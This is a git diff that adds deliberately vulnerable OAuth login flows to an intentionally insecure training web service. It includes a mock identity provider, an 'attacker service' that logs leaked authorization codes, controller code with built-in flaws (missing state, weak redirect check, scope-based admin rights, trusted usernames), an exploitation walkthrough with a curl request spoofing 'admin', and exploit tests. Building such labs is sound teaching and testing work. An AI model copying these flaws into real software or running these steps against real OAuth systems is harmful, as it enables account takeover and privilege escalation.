diff --git a/README.md b/README.md index 15b9e25..2ca8445 100644 --- a/README.md +++ b/README.md @@ -118,13 +118,19 @@ Change directory to dvws-node cd dvws-node ``` Start Docker +```bash +docker-compose up --build ``` -`docker-compose up` -``` -This will start the dvws service with the backend MySQL database and the NoSQL database. +This will start the dvws service with the backend MySQL database and the NoSQL database. It will also start: +* **OAuth Provider (Port 5000):** A mock Identity Provider for testing OAuth flows. +* **Attacker Service (Port 6666):** A service to capture callbacks and tokens. If the DVWS web service doesn't start because of delayed MongoDB or MySQL setup, then increase the value of environment variable : `WAIT_HOSTS_TIMEOUT` +## OAuth Vulnerabilities +We have added support for testing OAuth vulnerabilities (Account Takeover, CSRF, Token Leakage). +See [answers.md](answers.md) for a detailed guide on how to exploit these flaws using the provided services. + ## Solutions @@ -141,7 +147,7 @@ If the DVWS web service doesn't start because of delayed MongoDB or MySQL setup, * GraphQL Injection * Webhook security * Parameter Pollution -* OAuth2/OIDC Flow Flaws +* OpenID Connect (OIDC) issues ## Any Questions diff --git a/answers.md b/answers.md new file mode 100644 index 0000000..8a85eaf --- /dev/null +++ b/answers.md @@ -0,0 +1,94 @@ +# OAuth Vulnerability Walkthrough + +This document describes the OAuth vulnerabilities introduced into the `dvws-node` application and how to exploit them using the provided `oauth-provider` and `attacker-service`. + +## 1. Privilege Escalation (Scope Upgrade) + +**Vulnerability:** +The `dvws-node` application determines user privileges based on the OAuth **scopes** granted by the provider. Specifically, if the Access Token contains the `dvws:admin` scope, the user is granted local Administrator rights. The Vulnerability is that the Mock Provider grants *any* scope requested by the client without restriction, and the Client Application trusts the presence of this scope blindly. + +**Exploitation:** +1. Click **"Login with MockOAuth"**. +2. Observe the URL in the address bar when you reach the Login Page. It looks like: + `http://localhost:5000/login?return_to=/authorize?client_id=dvws-client&redirect_uri=...&scope=openid` +3. **The Attack:** Modify the URL to append the admin scope. Change `scope=openid` to `scope=openid dvws:admin`. + * You might need to URL encode the space (`%20`), so: `scope=openid%20dvws:admin`. + * Or modify the `return_to` parameter if you are already at the login page, but it's easier to modify the `/authorize` link before you get redirected (intercept the request or copy-paste). + * Easier method: + 1. Go to `http://localhost:5000/authorize?client_id=dvws-client&redirect_uri=http://localhost:80/api/v2/auth/callback&response_type=code&scope=openid%20dvws:admin` directly. +4. Log in as **ANY** user (e.g., `attacker`). You do *not* need to be `admin`. +5. The Provider will grant the requested `dvws:admin` scope. +6. You will be redirected back to the app. +7. `dvws-node` sees the scope and logs you in as `attacker` but with **Admin Privileges**. +8. Verify by checking if you can access Admin features. + +## 2. Cross-Site Request Forgery (CSRF) + +**Vulnerability:** +The OAuth flow initiated by `dvws-node` (`/api/v2/login/oauth`) does not generate or validate a `state` parameter. This means an attacker can start a login flow, obtain an authorization code, and then trick a victim into consuming that code, logging the victim into the attacker's account. + +**Exploitation:** +1. **Attacker Steps:** + * The attacker starts the login flow but stops before the callback is consumed (or manually gets a code from the provider). + * Since the provider is auto-approving, the attacker can just construct the callback URL manually if they know a valid code, OR they can send the victim to the Provider's authorize page with a fixed parameters. + * A more common CSRF in OAuth is "Login CSRF": Attacker logs in to *their* account, captures the authorization code, and stops. Then constructs a link: `http://localhost/api/v2/auth/callback?code=ATTACKER_CODE` (or `http://localhost:80/...`). +2. **Victim Steps:** + * Victim clicks the link. + * `dvws-node` consumes `ATTACKER_CODE`. + * `dvws-node` logs the victim in as the user associated with that code (the Attacker). + * The victim is now using the app as the Attacker. If they enter credit card info or private notes, the Attacker can see them. + +## 3. Authorization Code Leakage (via Open Redirect on Provider) + +**Vulnerability:** +The Mock OAuth Provider (`oauth-provider`) implements a weak validation of the `redirect_uri` parameter. It checks if the URI contains "localhost", but does not strictly check the port or path. + +**Exploitation:** +1. Attacker constructs a malicious link: + ``` + http://localhost:5000/authorize?client_id=dvws-client&response_type=code&redirect_uri=http://localhost:6666/callback + ``` + (Note: `localhost:6666` contains "localhost" so it passes the weak check). +2. Victim clicks the link (thinking it's a legitimate login to the provider). +3. If the victim is logged in to the provider, they are redirected. If not, they log in, and *then* are redirected. +4. The Provider redirects the victim to: + ``` + http://localhost:6666/callback?code=SECRET_CODE + ``` +4. The `attacker-service` logs the `SECRET_CODE`. +5. The attacker can now exchange this code for an access token (if they can communicate with the provider's `/token` endpoint) or impersonate the user if the client accepts the code (via the CSRF vulnerability above). + +## 4. Authentication Bypass via Implicit Flow + +**Vulnerability:** +The application supports a custom login flow where an access token is submitted via a POST request to `/api/v2/login/implicit`. The server verifies that the access token is valid (by checking with the provider), but fails to ensure that the token belongs to the user claimed in the request body. It trusts the `username` parameter submitted by the client as long as the token is valid. + +**Exploitation:** +1. Log in to the `oauth-provider` as `attacker` (or any user). +2. Obtain a valid Access Token by manually initiating an Implicit Flow request: + `http://localhost:5000/authorize?client_id=dvws-client&redirect_uri=http://localhost&response_type=token` +3. Copy the `access_token` from the URL fragment in the address bar. +4. Send a POST request to `http://localhost:80/api/v2/login/implicit`: + ```bash + curl -X POST http://localhost:80/api/v2/login/implicit \ + -H "Content-Type: application/json" \ + -d '{"access_token": "YOUR_ACCESS_TOKEN", "username": "admin"}' + ``` +5. The server validates the token with the provider (it is valid), but logs you in as `admin` (based on your JSON body). + +## Supported OAuth Vulnerabilities + +The following vulnerabilities from the PortSwigger/Doyensec list are currently supported in this environment: + +* **Flawed CSRF protection:** No `state` parameter is used. +* **Leaking authorization codes:** Via Open Redirect on the Provider. +* **Flawed redirect_uri validation:** Provider allows `localhost` bypass. +* **Flawed scope validation (Scope Upgrade):** Provider allows any scope; Client escalates privileges based on scope. +* **Unverified user registration:** Client trusts identity from Provider; Provider allows spoofing (via Login form or Auto-Registration). +* **Improper implementation of the implicit grant type:** Client trusts POSTed user identity if token is valid. + +## Services Overview + +* **dvws-node (Port 80):** The vulnerable application. +* **oauth-provider (Port 5000):** The Mock Identity Provider. +* **attacker-service (Port 6666):** Receives leaked codes. diff --git a/attacker-service/Dockerfile b/attacker-service/Dockerfile new file mode 100644 index 0000000..ed386fa --- /dev/null +++ b/attacker-service/Dockerfile @@ -0,0 +1,7 @@ +FROM node:20-alpine +WORKDIR /app +COPY package*.json ./ +RUN npm install +COPY . . +CMD ["node", "app.js"] +EXPOSE 6666 diff --git a/attacker-service/app.js b/attacker-service/app.js new file mode 100644 index 0000000..b0b6345 --- /dev/null +++ b/attacker-service/app.js @@ -0,0 +1,39 @@ +const express = require('express'); +const cors = require('cors'); + +const app = express(); +app.use(cors()); + +const PORT = 6666; + +app.get('/health', (req, res) => { + res.json({ status: 'ok' }); +}); + +app.use((req, res, next) => { + console.log(`[Attacker] Incoming ${req.method} request to ${req.url}`); + console.log('Headers:', req.headers); + console.log('Query:', req.query); + next(); +}); + +app.get('/callback', (req, res) => { + res.send(` +

Attacker Site

+

Thanks for the code!

+
${JSON.stringify(req.query, null, 2)}
+ `); +}); + +app.get('/exploit', (req, res) => { + // Basic CSRF exploit template + res.send(` +

Attacker Exploit Page

+

Click here to win a prize!

+ + `); +}); + +app.listen(PORT, '0.0.0.0', () => { + console.log(`Attacker Service running on port ${PORT}`); +}); diff --git a/attacker-service/package.json b/attacker-service/package.json new file mode 100644 index 0000000..2206cac --- /dev/null +++ b/attacker-service/package.json @@ -0,0 +1,9 @@ +{ + "name": "dvws-attacker-service", + "version": "1.0.0", + "main": "app.js", + "dependencies": { + "express": "^4.19.2", + "cors": "^2.8.5" + } +} diff --git a/controllers/users.js b/controllers/users.js index f29f7af..f9d4a62 100644 --- a/controllers/users.js +++ b/controllers/users.js @@ -2,6 +2,7 @@ const mongoose = require('mongoose'); const bcrypt = require('bcrypt'); const jwt = require('jsonwebtoken'); const xml2js = require('xml2js'); +const needle = require('needle'); const connUri = process.env.MONGO_LOCAL_CONN_URL; const User = require('../models/users'); @@ -375,5 +376,158 @@ module.exports = { filter: filter, // Reflect filter for educational/debugging results: results }); + }, + + // Vulnerability: OAuth Insecure Implementation + oauthLogin: (req, res) => { + // Scenario: User clicks "Login with MockOAuth". + // Vulnerability: Missing 'state' parameter or predictable state allows CSRF. + + const clientId = "dvws-client"; + // This should be dynamic based on host, but hardcoded for now + // The main app runs on port 80 + const redirectUri = "http://localhost:80/api/v2/auth/callback"; + + // Vulnerability: No state parameter used + // For client-side redirect, we must use localhost since the browser cannot resolve docker service names + const authUrl = `http://localhost:5000/authorize?client_id=${clientId}&redirect_uri=${redirectUri}&response_type=code&scope=openid`; + + res.redirect(authUrl); + }, + + oauthCallback: async (req, res) => { + const code = req.query.code; + if (!code) return res.status(400).send("No code returned"); + + // Vulnerability: No state validation here either. + + // We use internal docker URL for back-channel communication + const providerUrl = process.env.OAUTH_PROVIDER_URL || 'http://oauth-provider:5000'; + const clientId = "dvws-client"; + const redirectUri = "http://localhost:80/api/v2/auth/callback"; + + try { + // Exchange code for token + const tokenResp = await needle('post', `${providerUrl}/token`, { + code, + client_id: clientId, + client_secret: "secret", // Mock doesn't care + grant_type: "authorization_code", + redirect_uri: redirectUri + }, { json: true }); + + if (tokenResp.statusCode !== 200) { + return res.status(500).send("Failed to get token from provider: " + JSON.stringify(tokenResp.body)); + } + + const accessToken = tokenResp.body.access_token; + const grantedScope = tokenResp.body.scope || ""; + + // Get User Info + const userResp = await needle('get', `${providerUrl}/userinfo`, null, { + headers: { Authorization: `Bearer ${accessToken}` } + }); + + if (userResp.statusCode !== 200) { + return res.status(500).send("Failed to get user info"); + } + + const profile = userResp.body; + // Vulnerability: Trusting the 'preferred_username' + const username = profile.preferred_username; + + let user = await User.findOne({ username }); + + // Auto-register if not found (simulates open registration) + if (!user) { + try { + user = new User({ + username: username, + password: "oauth-generated-password", + admin: false + }); + await user.save(); + } catch (e) { + return res.status(500).send("Error creating user: " + e.message); + } + } + + if (user) { + // Vulnerability: Privilege Escalation via Scope + // If the token has 'dvws:admin' scope, we grant admin privileges regardless of the user's DB status. + const isAdmin = grantedScope.includes("dvws:admin") || user.admin; + + // Log them in! + const payload = { + user: user.username, + permissions: isAdmin ? ["user:read", "user:write", "user:admin"] : ["user:read", "user:write"] + }; + const options = { expiresIn: '2d', issuer: 'https://github.com/snoopysecurity', algorithm: "HS256"}; + const secret = process.env.JWT_SECRET; + const token = jwt.sign(payload, secret, options); + + res.send(` + +

Login successful! Redirecting...

+ + + `); + } else { + res.status(404).send(`User '${username}' not found in local DB. (Mock IdP returned: ${JSON.stringify(profile)})`); + } + + } catch (err) { + console.error(err); + res.status(500).send(err.message); + } + }, + + // Vulnerability: Improper Implicit Flow Implementation + implicitLogin: async (req, res) => { + const { access_token, username } = req.body; + + // We use internal docker URL for back-channel communication + const providerUrl = process.env.OAUTH_PROVIDER_URL || 'http://oauth-provider:5000'; + + try { + // Verify token (Validating the token is "good") + const userResp = await needle('get', `${providerUrl}/userinfo`, null, { + headers: { Authorization: `Bearer ${access_token}` } + }); + + if (userResp.statusCode !== 200) { + return res.status(401).send("Invalid access token"); + } + + // FLAW: We ignore the user info from the provider and trust the username passed in the body! + + let user = await User.findOne({ username }); + + if (user) { + // Log them in! + const payload = { + user: user.username, + permissions: user.admin ? ["user:read", "user:write", "user:admin"] : ["user:read", "user:write"] + }; + const options = { expiresIn: '2d', issuer: 'https://github.com/snoopysecurity', algorithm: "HS256"}; + const secret = process.env.JWT_SECRET; + const token = jwt.sign(payload, secret, options); + + res.json({ + success: true, + token: token, + username: user.username + }); + } else { + res.status(404).send(`User '${username}' not found.`); + } + + } catch (err) { + console.error(err); + res.status(500).send(err.message); + } } }; diff --git a/docker-compose.yml b/docker-compose.yml index 89641ab..8065dc5 100644 --- a/docker-compose.yml +++ b/docker-compose.yml @@ -19,6 +19,16 @@ services: WAIT_HOSTS_TIMEOUT: 160 SQL_LOCAL_CONN_URL: dvws-mysql MONGO_LOCAL_CONN_URL: mongodb://dvws-mongo:27017/node-dvws + OAUTH_PROVIDER_URL: http://oauth-provider:5000 depends_on: - dvws-mongo - dvws-mysql + - oauth-provider + oauth-provider: + build: ./oauth-provider + ports: + - "5000:5000" + attacker-service: + build: ./attacker-service + ports: + - "6666:6666" diff --git a/oauth-provider/Dockerfile b/oauth-provider/Dockerfile new file mode 100644 index 0000000..6b84ccd --- /dev/null +++ b/oauth-provider/Dockerfile @@ -0,0 +1,7 @@ +FROM node:20-alpine +WORKDIR /app +COPY package*.json ./ +RUN npm install +COPY . . +CMD ["node", "app.js"] +EXPOSE 5000 diff --git a/oauth-provider/app.js b/oauth-provider/app.js new file mode 100644 index 0000000..193ba68 --- /dev/null +++ b/oauth-provider/app.js @@ -0,0 +1,238 @@ +const express = require('express'); +const bodyParser = require('body-parser'); +const cors = require('cors'); + +const app = express(); +app.use(bodyParser.json()); +app.use(bodyParser.urlencoded({ extended: true })); +app.use(cors()); + +const PORT = 5000; + +// In-memory store +const codes = {}; +const accessTokens = {}; + +// Helper to parse cookies +function parseCookies(req) { + const list = {}; + const rc = req.headers.cookie; + rc && rc.split(';').forEach(function(cookie) { + const parts = cookie.split('='); + try { + list[parts.shift().trim()] = decodeURIComponent(parts.join('=')); + } catch (e) { + // Ignore invalid encoding + } + }); + return list; +} + +app.get('/health', (req, res) => { + res.json({ status: 'ok' }); +}); + +// Logout +app.get('/logout', (req, res) => { + res.clearCookie('mock_session'); + const returnTo = req.query.return_to || '/login'; + res.redirect(returnTo); +}); + +// Login Page +app.get('/login', (req, res) => { + const returnTo = req.query.return_to || '/'; + res.send(` + + Mock Identity Provider + +

Mock Identity Provider

+

Login to continue

+
+ +
+ +
+
+ +
+
+ +
+ +
+

Tip: Use username admin to simulate an attack.

+ + + `); +}); + +// Handle Login +app.post('/login', (req, res) => { + const { username, email, return_to } = req.body; + + // Create user object + const user = { + sub: Math.random().toString(36).substring(7), + name: username, + preferred_username: username, + email: email, + picture: "https://via.placeholder.com/150" + }; + + // Set cookie (insecure for mock) + const userStr = JSON.stringify(user); + res.cookie('mock_session', userStr, { httpOnly: true }); + + res.redirect(return_to); +}); + +// Authorize Endpoint +app.get('/authorize', (req, res) => { + const { client_id, redirect_uri, response_type, state, scope } = req.query; + + console.log(`[OAuth] Authorize request: client_id=${client_id}, redirect_uri=${redirect_uri}, scope=${scope}`); + + // Check login + const cookies = parseCookies(req); + if (!cookies.mock_session) { + return res.redirect(`/login?return_to=${encodeURIComponent(req.originalUrl)}`); + } + + let user; + try { + user = JSON.parse(cookies.mock_session); + } catch (e) { + console.error("Failed to parse session cookie:", cookies.mock_session); + return res.redirect(`/login?return_to=${encodeURIComponent(req.originalUrl)}`); + } + + // Validate Redirect URI (Weak Validation) + // Vulnerability: Allows 'localhost' subdomains or attacker domains if they start with localhost + + const ALLOWED_BASE = "http://localhost:9090"; + + // Common vuln: White-listing "localhost" but not the port. + if (!redirect_uri || !redirect_uri.includes("localhost")) { + return res.status(400).send('Invalid redirect_uri. Must be a localhost URL.'); + } + + // NOTE: To allow the Open Redirect exploit to http://localhost:6666, + // the above logic (includes "localhost") permits it. + // This simulates a "Developer allowed localhost for dev testing" vulnerability. + + if (response_type !== 'code' && response_type !== 'token') { + return res.status(400).send('Unsupported response_type'); + } + + // Consent Page Logic + if (req.query.confirm !== 'true') { + // Construct the confirm URL by appending confirm=true to existing query params + // We can't easily use URLSearchParams here without importing 'url' module or doing string manipulation + // Simple string manipulation: + const hasQuery = req.url.includes('?'); + const confirmUrl = req.url + (hasQuery ? '&' : '?') + 'confirm=true'; + const logoutUrl = `/logout?return_to=${encodeURIComponent(req.originalUrl)}`; + + return res.send(` + + Consent Required + +

Authorize Application

+

You are currently logged in as ${user.username} (${user.email}).

+

The application ${client_id} is requesting access.

+

Scope: ${scope || 'openid'}

+
+ Continue as ${user.username} +

+ Switch User / Logout +
+ + + `); + } + + // Auto-approve consent since we are logged in AND confirmed + + if (response_type === 'token') { + // Implicit Flow: Return token in fragment + const token = Math.random().toString(36).substring(2) + Math.random().toString(36).substring(2); + accessTokens[token] = { + user: user, + scope: scope || 'openid' + }; + + let redirectUrl = `${redirect_uri}#access_token=${token}&token_type=Bearer&expires_in=3600`; + if (state) { + redirectUrl += `&state=${state}`; + } + return res.redirect(redirectUrl); + } + + // Code Flow + const code = Math.random().toString(36).substring(7); + codes[code] = { + client_id, + redirect_uri, + user: user, + scope: scope || 'openid' + }; + + let redirectUrl = `${redirect_uri}?code=${code}`; + if (state) { + redirectUrl += `&state=${state}`; + } + + res.redirect(redirectUrl); +}); + +// Token Endpoint +app.post('/token', (req, res) => { + const { code, client_id, client_secret, grant_type, redirect_uri } = req.body; + + console.log(`[OAuth] Token request: code=${code}`); + + if (grant_type !== 'authorization_code') { + return res.status(400).json({ error: 'unsupported_grant_type' }); + } + + if (!codes[code]) { + return res.status(400).json({ error: 'invalid_code' }); + } + + const token = Math.random().toString(36).substring(2) + Math.random().toString(36).substring(2); + accessTokens[token] = { + user: codes[code].user, + scope: codes[code].scope + }; + + const grantedScope = codes[code].scope; + + // Invalidate code + delete codes[code]; + + res.json({ + access_token: token, + token_type: 'Bearer', + expires_in: 3600, + id_token: "mock_id_token", + scope: grantedScope + }); +}); + +// UserInfo Endpoint +app.get('/userinfo', (req, res) => { + const authHeader = req.headers.authorization; + if (!authHeader) return res.status(401).json({ error: 'no_token' }); + + const token = authHeader.split(' ')[1]; + const tokenData = accessTokens[token]; + if (!tokenData) return res.status(401).json({ error: 'invalid_token' }); + + console.log(`[OAuth] UserInfo request for token=${token}`); + res.json(tokenData.user); +}); + +app.listen(PORT, '0.0.0.0', () => { + console.log(`Mock OAuth Provider running on port ${PORT}`); +}); diff --git a/oauth-provider/package.json b/oauth-provider/package.json new file mode 100644 index 0000000..d89be03 --- /dev/null +++ b/oauth-provider/package.json @@ -0,0 +1,10 @@ +{ + "name": "dvws-oauth-provider", + "version": "1.0.0", + "main": "app.js", + "dependencies": { + "express": "^4.19.2", + "body-parser": "^1.20.2", + "cors": "^2.8.5" + } +} diff --git a/package-lock.json b/package-lock.json index 0cb0817..dcf29fc 100644 --- a/package-lock.json +++ b/package-lock.json @@ -42,7 +42,6 @@ "superagent-proxy": "^3.0.0", "swagger-autogen": "^2.23.7", "swagger-ui-express": "^5.0.0", - "ws": "^8.17.0", "xml2js": "^0.6.2", "xmlrpc": "^1.3.2", "xpath": "0.0.32" @@ -6943,27 +6942,6 @@ "integrity": "sha512-l4Sp/DRseor9wL6EvV2+TuQn63dMkPjZ/sp9XkghTEbV9KlPS1xUsZ3u7/IQO4wxtcFB4bgpQPRcR3QCvezPcQ==", "license": "ISC" }, - "node_modules/ws": { - "version": "8.19.0", - "resolved": "https://registry.npmjs.org/ws/-/ws-8.19.0.tgz", - "integrity": "sha512-blAT2mjOEIi0ZzruJfIhb3nps74PRWTCz1IjglWEEpQl5XS/UNama6u2/rjFkDDouqr4L67ry+1aGIALViWjDg==", - "license": "MIT", - "engines": { - "node": ">=10.0.0" - }, - "peerDependencies": { - "bufferutil": "^4.0.1", - "utf-8-validate": ">=5.0.2" - }, - "peerDependenciesMeta": { - "bufferutil": { - "optional": true - }, - "utf-8-validate": { - "optional": true - } - } - }, "node_modules/xml2js": { "version": "0.6.2", "resolved": "https://registry.npmjs.org/xml2js/-/xml2js-0.6.2.tgz", diff --git a/public/index.html b/public/index.html index e4a1ffe..02bbb81 100644 --- a/public/index.html +++ b/public/index.html @@ -20,6 +20,8 @@

Damn Vulnerable Web Services
Login Page

Password:

+

+ Login with MockOAuth
diff --git a/routes/users.js b/routes/users.js index e2f7d16..bd9b34d 100644 --- a/routes/users.js +++ b/routes/users.js @@ -45,4 +45,13 @@ module.exports = (router) => { router.route('/v2/users/ldap-search') .post(controller.ldapSearch) .get(controller.ldapSearch); + + router.route('/v2/login/oauth') + .get(controller.oauthLogin); + + router.route('/v2/auth/callback') + .get(controller.oauthCallback); + + router.route('/v2/login/implicit') + .post(controller.implicitLogin); }; diff --git a/test/vulnerabilities.test.js b/test/vulnerabilities.test.js index 5c64741..3088f7d 100644 --- a/test/vulnerabilities.test.js +++ b/test/vulnerabilities.test.js @@ -485,4 +485,131 @@ describe("DVWS-Node Vulnerability Tests", function () { expect(response.status).to.not.equal(429, "Rate limit should be bypassed with new IP"); }); }); + + describe("37. OAuth Scope Upgrade (Privilege Escalation)", function () { + it("should allow becoming admin by adding dvws:admin scope", async function () { + // 1. Login to Provider to get session cookie + // We use the full URL to hit the provider exposed on localhost:5000 + const providerReq = require("supertest")("http://localhost:5000"); + + const loginRes = await providerReq + .post("/login") + .type('form') + .send({ username: "attacker_" + Date.now(), email: "attacker@test.com" }); + + const cookies = loginRes.headers['set-cookie']; + expect(cookies).to.exist; + + // 2. Authorize with malicious scope + const authRes = await providerReq + .get("/authorize") + .set('Cookie', cookies) + .query({ + client_id: 'dvws-client', + redirect_uri: 'http://localhost:80/api/v2/auth/callback', + response_type: 'code', + scope: 'openid dvws:admin', // MALICIOUS SCOPE + confirm: 'true' // Bypass consent + }); + + expect(authRes.status).to.eql(302); + const redirectLocation = authRes.headers['location']; + const code = new URL(redirectLocation).searchParams.get('code'); + expect(code).to.exist; + + // 3. Callback to DVWS + const callbackRes = await request + .get("/auth/callback") + .query({ code: code }); + + expect(callbackRes.status).to.eql(200); + + // Extract token from the response body + const match = callbackRes.text.match(/localStorage\.setItem\('JWTSessionID', '([^']+)'\)/); + expect(match).to.exist; + const token = match[1]; + + // 4. Verify Admin Access + const adminCheck = await request + .get("/users/checkadmin") + .set('Authorization', 'Bearer ' + token); + + expect(adminCheck.body.Success).to.include("User is Admin"); + }); + }); + + describe("38. OAuth Weak Redirect URI (Open Redirect / Token Leakage)", function () { + it("should allow redirecting to localhost port 6666 (Attacker Service)", async function () { + const providerReq = require("supertest")("http://localhost:5000"); + + // Login first + const loginRes = await providerReq + .post("/login") + .type('form') + .send({ username: "victim", email: "victim@test.com" }); + const cookies = loginRes.headers['set-cookie']; + + // Attempt redirect to attacker service + const attackerUri = "http://localhost:6666/callback"; + + const authRes = await providerReq + .get("/authorize") + .set('Cookie', cookies) + .query({ + client_id: 'dvws-client', + redirect_uri: attackerUri, // Malicious URI + response_type: 'code', + scope: 'openid', + confirm: 'true' + }); + + expect(authRes.status).to.eql(302); + expect(authRes.headers['location']).to.include(attackerUri); + }); + }); + + describe("39. Implicit Flow Authentication Bypass", function () { + it("should allow login as admin by supplying valid token and username=admin", async function () { + const providerReq = require("supertest")("http://localhost:5000"); + + // 1. Login to Provider as attacker + const loginRes = await providerReq + .post("/login") + .type('form') + .send({ username: "attacker", email: "attacker@test.com" }); + const cookies = loginRes.headers['set-cookie']; + + // 2. Get Access Token (Implicit Flow) + const authRes = await providerReq + .get("/authorize") + .set('Cookie', cookies) + .query({ + client_id: 'dvws-client', + redirect_uri: 'http://localhost', + response_type: 'token', + scope: 'openid', + confirm: 'true' + }); + + expect(authRes.status).to.eql(302); + const redirectLocation = authRes.headers['location']; + + const hashPart = redirectLocation.split('#')[1]; + const params = new URLSearchParams(hashPart); + const accessToken = params.get('access_token'); + expect(accessToken).to.exist; + + // 3. Exploit: Send token + username=admin + const exploitRes = await request + .post("/login/implicit") + .send({ + access_token: accessToken, + username: "admin" // Spoofing target + }); + + expect(exploitRes.status).to.eql(200); + expect(exploitRes.body.username).to.eql("admin"); + expect(exploitRes.body.token).to.exist; + }); + }); });